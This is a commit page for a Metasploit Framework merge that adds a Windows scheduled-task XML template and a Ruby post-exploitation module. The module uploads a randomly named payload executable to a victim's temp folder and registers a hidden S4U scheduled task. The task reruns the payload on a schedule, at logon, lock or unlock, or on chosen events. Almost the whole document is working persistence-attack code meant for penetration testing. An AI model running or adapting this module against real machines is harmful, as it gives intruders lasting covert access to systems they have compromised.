Merge branch 's4u_persistence' of https://github.com/smilingraccoon/metasploit-framework into smilingraccoon-s4u_persistence
commit
be0feecf8f
|
@ -0,0 +1,50 @@
|
|||
<?xml version="1.0" encoding="UTF-16"?>
|
||||
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
|
||||
<RegistrationInfo>
|
||||
<Date>DATEHERE</Date>
|
||||
<Author>USERHERE</Author>
|
||||
</RegistrationInfo>
|
||||
<Triggers>
|
||||
<TimeTrigger>
|
||||
<Repetition>
|
||||
<Interval>PT60M</Interval>
|
||||
<StopAtDurationEnd>false</StopAtDurationEnd>
|
||||
</Repetition>
|
||||
<StartBoundary>DATEHERE</StartBoundary>
|
||||
<Enabled>true</Enabled>
|
||||
</TimeTrigger>
|
||||
</Triggers>
|
||||
<Principals>
|
||||
<Principal id="Author">
|
||||
<UserId>DOMAINHERE</UserId>
|
||||
<LogonType>S4U</LogonType>
|
||||
<RunLevel>LeastPrivilege</RunLevel>
|
||||
</Principal>
|
||||
</Principals>
|
||||
<Settings>
|
||||
<MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>
|
||||
<DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
|
||||
<StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
|
||||
<AllowHardTerminate>true</AllowHardTerminate>
|
||||
<StartWhenAvailable>false</StartWhenAvailable>
|
||||
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
|
||||
<IdleSettings>
|
||||
<Duration>PT10M</Duration>
|
||||
<WaitTimeout>PT1H</WaitTimeout>
|
||||
<StopOnIdleEnd>true</StopOnIdleEnd>
|
||||
<RestartOnIdle>false</RestartOnIdle>
|
||||
</IdleSettings>
|
||||
<AllowStartOnDemand>true</AllowStartOnDemand>
|
||||
<Enabled>true</Enabled>
|
||||
<Hidden>true</Hidden>
|
||||
<RunOnlyIfIdle>false</RunOnlyIfIdle>
|
||||
<WakeToRun>false</WakeToRun>
|
||||
<ExecutionTimeLimit>PT72H</ExecutionTimeLimit>
|
||||
<Priority>7</Priority>
|
||||
</Settings>
|
||||
<Actions Context="Author">
|
||||
<Exec>
|
||||
<Command>COMMANDHERE</Command>
|
||||
</Exec>
|
||||
</Actions>
|
||||
</Task>
|
|
@ -0,0 +1,387 @@
|
|||
##
|
||||
# ## This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'msf/core/post/common'
|
||||
require 'msf/core/post/file'
|
||||
require 'msf/core/post/windows/priv'
|
||||
require 'msf/core/exploit/exe'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Post::Common
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Windows::Priv
|
||||
include Exploit::EXE
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Windows Manage User Level Persistent Payload Installer',
|
||||
'Description' => %q{
|
||||
Creates a scheduled task that will run using service-for-user (S4U).
|
||||
This allows the scheduled task to run even as an unprivileged user
|
||||
that is not logged into the device. This will result in lower security
|
||||
context, allowing access to local resources only. The module
|
||||
requires 'Logon as a batch job' permissions (SeBatchLogonRight).
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>',
|
||||
'Brandon McCann "zeknox" <bmccann[at]accuvant.com>'
|
||||
],
|
||||
'Platform' => [ 'windows' ],
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'Targets' => [ [ 'Windows', {} ] ],
|
||||
'DisclosureDate' => [ 'Jan 2 2013' ], # Date of scriptjunkie's blog post
|
||||
'DefaultTarget' => 0,
|
||||
'References' => [
|
||||
[ 'URL', 'http://www.pentestgeek.com/2013/02/11/scheduled-tasks-with-s4u-and-on-demand-persistence/'],
|
||||
[ 'URL', 'http://www.scriptjunkie.us/2013/01/running-code-from-a-non-elevated-account-at-any-time/']
|
||||
]
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('FREQUENCY', [false, 'Schedule trigger: Frequency in minutes to execute']),
|
||||
OptInt.new('EXPIRE_TIME', [false, 'Number of minutes until trigger expires']),
|
||||
OptEnum.new('TRIGGER', [true, 'Payload trigger method', 'schedule',['logon', 'lock', 'unlock','schedule', 'event']]),
|
||||
OptString.new('REXENAME',[false, 'Name of exe on remote system']),
|
||||
OptString.new('RTASKNAME',[false, 'Name of exe on remote system']),
|
||||
OptString.new('PATH',[false, 'PATH to write payload'])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new('EVENT_LOG', [false, 'Event trigger: The event log to check for event']),
|
||||
OptInt.new('EVENT_ID', [false, 'Event trigger: Event ID to trigger on.']),
|
||||
OptString.new('XPATH', [false, 'XPath query'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def exploit
|
||||
if not (sysinfo['OS'] =~ /Build [6-9]\d\d\d/)
|
||||
fail_with(Exploit::Failure::NoTarget, "This module only works on Vista/2008 and above")
|
||||
end
|
||||
|
||||
if datastore['TRIGGER'] == "event"
|
||||
if datastore['EVENT_LOG'].nil? or datastore['EVENT_ID'].nil?
|
||||
print_status("The properties of any event in the event viewer will contain this information")
|
||||
fail_with(Exploit::Failure::BadConfig, "Advanced options EVENT_LOG and EVENT_ID required for event")
|
||||
end
|
||||
end
|
||||
|
||||
# Generate payload
|
||||
payload = generate_payload_exe
|
||||
|
||||
# Generate remote executable name
|
||||
rexename = generate_rexename
|
||||
|
||||
# Generate path names
|
||||
xml_path,rexe_path = generate_path(rexename)
|
||||
|
||||
# Upload REXE to victim fs
|
||||
upload_rexe(rexe_path, payload)
|
||||
|
||||
# Create basic XML outline
|
||||
xml = create_xml(rexe_path)
|
||||
|
||||
# Fix XML based on trigger
|
||||
xml = add_xml_triggers(xml)
|
||||
|
||||
# Write XML to victim fs, if fail clean up
|
||||
write_xml(xml, xml_path, rexe_path)
|
||||
|
||||
# Name task with Opt or give random name
|
||||
schname = datastore['RTASKNAME'] || Rex::Text.rand_text_alpha((rand(8)+6))
|
||||
|
||||
# Create task with modified XML
|
||||
create_task(xml_path, schname, rexe_path)
|
||||
end
|
||||
|
||||
##############################################################
|
||||
# Generate name for payload
|
||||
# Returns name
|
||||
|
||||
def generate_rexename
|
||||
rexename = datastore['REXENAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
|
||||
if not rexename =~ /\.exe$/
|
||||
print_warning("#{datastore['REXENAME']} isn't an exe")
|
||||
end
|
||||
return rexename
|
||||
end
|
||||
|
||||
##############################################################
|
||||
# Generate Path for payload upload
|
||||
# Returns path for xml and payload
|
||||
|
||||
def generate_path(rexename)
|
||||
# generate a path to write payload and xml
|
||||
path = datastore['PATH'] || expand_path("%TEMP%")
|
||||
xml_path = "#{path}\\#{Rex::Text.rand_text_alpha((rand(8)+6))}.xml"
|
||||
rexe_path = "#{path}\\#{rexename}"
|
||||
return xml_path,rexe_path
|
||||
end
|
||||
|
||||
##############################################################
|
||||
# Upload the executable payload
|
||||
# Returns boolean for success
|
||||
|
||||
def upload_rexe(path, payload)
|
||||
vprint_status("Uploading #{path}")
|
||||
if file? path
|
||||
fail_with(Exploit::Failure::Unknown, "File #{path} already exists...exiting")
|
||||
end
|
||||
begin
|
||||
write_file(path, payload)
|
||||
rescue => e
|
||||
puts e
|
||||
fail_with(Exploit::Failure::Unknown, "Could not upload to #{path}")
|
||||
end
|
||||
print_status("Successfully uploaded remote executable to #{path}")
|
||||
end
|
||||
|
||||
##############################################################
|
||||
# Creates a scheduled task, exports as XML, deletes task
|
||||
# Returns normal XML for generic task
|
||||
|
||||
def create_xml(rexe_path)
|
||||
xml_path = File.join(Msf::Config.install_root, "data", "exploits", "s4u_persistence")
|
||||
xml_file = File.new(xml_path,"r")
|
||||
xml = xml_file.read
|
||||
xml_file.close
|
||||
|
||||
# Get local time, not system time from victim machine
|
||||
begin
|
||||
vt = client.railgun.kernel32.GetLocalTime(32)
|
||||
ut = vt['lpSystemTime'].unpack("v*")
|
||||
t = ::Time.utc(ut[0],ut[1],ut[3],ut[4],ut[5])
|
||||
rescue
|
||||
print_warning("Could not read system time from victim...using your local time to determine creation date")
|
||||
t = ::Time.now
|
||||
end
|
||||
date = t.strftime("%Y-%m-%d")
|
||||
time = t.strftime("%H:%M:%S")
|
||||
|
||||
# put in correct times
|
||||
xml = xml.gsub(/DATEHERE/, "#{date}T#{time}")
|
||||
|
||||
domain, user = client.sys.config.getuid.split('\\')
|
||||
|
||||
# put in user information
|
||||
xml = xml.sub(/DOMAINHERE/, user)
|
||||
xml = xml.sub(/USERHERE/, "#{domain}\\#{user}")
|
||||
|
||||
xml = xml.sub(/COMMANDHERE/, rexe_path)
|
||||
return xml
|
||||
end
|
||||
|
||||
##############################################################
|
||||
# Takes the XML, alters it based on trigger specified. Will also
|
||||
# add in expiration tag if used.
|
||||
# Returns the modified XML
|
||||
|
||||
def add_xml_triggers(xml)
|
||||
# Insert trigger
|
||||
case datastore['TRIGGER']
|
||||
when 'logon'
|
||||
# Trigger based on winlogon event, checks windows license key after logon
|
||||
print_status("This trigger triggers on event 4101 which validates the Windows license")
|
||||
line = "*[System[EventID='4101']] and *[System[Provider[@Name='Microsoft-Windows-Winlogon']]]"
|
||||
xml = create_trigger_event_tags("Application", line, xml)
|
||||
|
||||
when 'lock'
|
||||
xml = create_trigger_tags("SessionLock", xml)
|
||||
|
||||
when 'unlock'
|
||||
xml = create_trigger_tags("SessionUnlock", xml)
|
||||
|
||||
when 'event'
|
||||
line = "*[System[(EventID=#{datastore['EVENT_ID']})]]"
|
||||
if not datastore['XPATH'].nil?
|
||||
# Append xpath queries
|
||||
line << " and #{datastore['XPATH']}"
|
||||
# Print XPath query, useful to user to spot issues with uncommented single quotes
|
||||
print_status("XPath query: #{line}")
|
||||
end
|
||||
|
||||
xml = create_trigger_event_tags(datastore['EVENT_LOG'], line, xml)
|
||||
|
||||
when 'schedule'
|
||||
# Change interval tag, insert into XML
|
||||
if datastore['FREQUENCY'] != 0
|
||||
minutes = datastore['FREQUENCY']
|
||||
else
|
||||
print_status("Defaulting frequency to every hour")
|
||||
minutes = 60
|
||||
end
|
||||
xml = xml.sub(/<Interval>.*?</, "<Interval>PT#{minutes}M<")
|
||||
|
||||
# Insert expire tag if not 0
|
||||
unless datastore['EXPIRE_TIME'] == 0
|
||||
# Generate expire tag
|
||||
end_boundary = create_expire_tag
|
||||
|
||||
# Inject expire tag
|
||||
insert = xml.index("</StartBoundary>")
|
||||
xml.insert(insert + 16, "\n #{end_boundary}")
|
||||
end
|
||||
end
|
||||
return xml
|
||||
end
|
||||
|
||||
##############################################################
|
||||
# Creates end boundary tag which expires the trigger
|
||||
# Returns XML for expire
|
||||
|
||||
def create_expire_tag()
|
||||
# Get local time, not system time from victim machine
|
||||
begin
|
||||
vt = client.railgun.kernel32.GetLocalTime(32)
|
||||
ut = vt['lpSystemTime'].unpack("v*")
|
||||
t = ::Time.utc(ut[0],ut[1],ut[3],ut[4],ut[5])
|
||||
rescue
|
||||
print_error("Could not read system time from victim...using your local time to determine expire date")
|
||||
t = ::Time.now
|
||||
end
|
||||
|
||||
# Create time object to add expire time to and create tag
|
||||
t = t + (datastore['EXPIRE_TIME'] * 60)
|
||||
date = t.strftime("%Y-%m-%d")
|
||||
time = t.strftime("%H:%M:%S")
|
||||
end_boundary = "<EndBoundary>#{date}T#{time}</EndBoundary>"
|
||||
return end_boundary
|
||||
end
|
||||
|
||||
##############################################################
|
||||
# Creates trigger XML for session state triggers and replaces
|
||||
# the time trigger.
|
||||
# Returns altered XML
|
||||
|
||||
def create_trigger_tags(trig, xml)
|
||||
domain, user = client.sys.config.getuid.split('\\')
|
||||
|
||||
# Create session state trigger, weird spacing used to maintain
|
||||
# natural Winadows spacing for XML export
|
||||
temp_xml = "<SessionStateChangeTrigger>\n"
|
||||
temp_xml << " #{create_expire_tag}" unless datastore['EXPIRE_TIME'] == 0
|
||||
temp_xml << " <Enabled>true</Enabled>\n"
|
||||
temp_xml << " <StateChange>#{trig}</StateChange>\n"
|
||||
temp_xml << " <UserId>#{domain}\\#{user}</UserId>\n"
|
||||
temp_xml << " </SessionStateChangeTrigger>"
|
||||
|
||||
xml = xml.gsub(/<TimeTrigger>.*<\/TimeTrigger>/m, temp_xml)
|
||||
|
||||
return xml
|
||||
end
|
||||
|
||||
##############################################################
|
||||
# Creates trigger XML for event based triggers and replaces
|
||||
# the time trigger.
|
||||
# Returns altered XML
|
||||
|
||||
def create_trigger_event_tags(log, line, xml)
|
||||
# Fscked up XML syntax for windows event #{id} in #{log}, weird spacind
|
||||
# used to maintain natural Windows spacing for XML export
|
||||
temp_xml = "<EventTrigger>\n"
|
||||
temp_xml << " #{create_expire_tag}\n" unless datastore['EXPIRE_TIME'] == 0
|
||||
temp_xml << " <Enabled>true</Enabled>\n"
|
||||
temp_xml << " <Subscription><QueryList><Query Id=\"0\" "
|
||||
temp_xml << "Path=\"#{log}\"><Select Path=\"#{log}\">"
|
||||
temp_xml << line
|
||||
temp_xml << "</Select></Query></QueryList>"
|
||||
temp_xml << "</Subscription>\n"
|
||||
temp_xml << " </EventTrigger>"
|
||||
|
||||
xml = xml.gsub(/<TimeTrigger>.*<\/TimeTrigger>/m, temp_xml)
|
||||
return xml
|
||||
end
|
||||
|
||||
##############################################################
|
||||
# Takes the XML and a path and writes file to filesystem
|
||||
# Returns boolean for success
|
||||
|
||||
def write_xml(xml, path, rexe_path)
|
||||
if file? path
|
||||
delete_file(rexe_path)
|
||||
fail_with(Exploit::Failure::Unknown, "File #{path} already exists...exiting")
|
||||
end
|
||||
begin
|
||||
write_file(path, xml)
|
||||
rescue
|
||||
delete_file(rexe_path)
|
||||
fail_with(Exploit::Failure::Unknown, "Issues writing XML to #{path}")
|
||||
end
|
||||
print_status("Successfully wrote XML file to #{path}")
|
||||
end
|
||||
|
||||
##############################################################
|
||||
# Takes path and delete file
|
||||
# Returns boolean for success
|
||||
|
||||
def delete_file(path)
|
||||
begin
|
||||
file_rm(path)
|
||||
rescue
|
||||
print_warning("Could not delete file #{path}, delete manually")
|
||||
end
|
||||
end
|
||||
|
||||
##############################################################
|
||||
# Takes path and name for task and creates final task
|
||||
# Returns boolean for success
|
||||
|
||||
def create_task(path, schname, rexe_path)
|
||||
# create task using XML file on victim fs
|
||||
create_task_response = cmd_exec("cmd.exe", "/c schtasks /create /xml #{path} /tn \"#{schname}\"")
|
||||
if create_task_response =~ /has successfully been created/
|
||||
print_good("Persistence task #{schname} created successfully")
|
||||
|
||||
# Create to delete commands for exe and task
|
||||
del_task = "schtasks /delete /tn \"#{schname}\" /f"
|
||||
print_status("#{"To delete task:".ljust(20)} #{del_task}")
|
||||
print_status("#{"To delete payload:".ljust(20)} del #{rexe_path}")
|
||||
del_task << "\ndel #{rexe_path}"
|
||||
|
||||
# Delete XML from victim
|
||||
delete_file(path)
|
||||
|
||||
# Save info to notes DB
|
||||
report_note(:host => session.session_host,
|
||||
:type => "host.s4u_persistance.cleanup",
|
||||
:data => {
|
||||
:session_num => session.sid,
|
||||
:stype => session.type,
|
||||
:desc => session.info,
|
||||
:platform => session.platform,
|
||||
:via_payload => session.via_payload,
|
||||
:via_exploit => session.via_exploit,
|
||||
:created_at => Time.now.utc,
|
||||
:delete_commands => del_task
|
||||
}
|
||||
)
|
||||
elsif create_task_response =~ /ERROR: Cannot create a file when that file already exists/
|
||||
# Clean up
|
||||
delete_file(rexe_path)
|
||||
delete_file(path)
|
||||
error = "The scheduled task name is already in use"
|
||||
fail_with(Exploit::Failure::Unknown, error)
|
||||
else
|
||||
error = "Issues creating task using XML file schtasks"
|
||||
vprint_error("Error: #{create_task_response}")
|
||||
if datastore['EVENT_LOG'] == 'Security' and datastore['TRIGGER'] == "Event"
|
||||
print_warning("Security log can restricted by UAC, try a different trigger")
|
||||
end
|
||||
# Clean up
|
||||
delete_file(rexe_path)
|
||||
delete_file(path)
|
||||
fail_with(Exploit::Failure::Unknown, error)
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue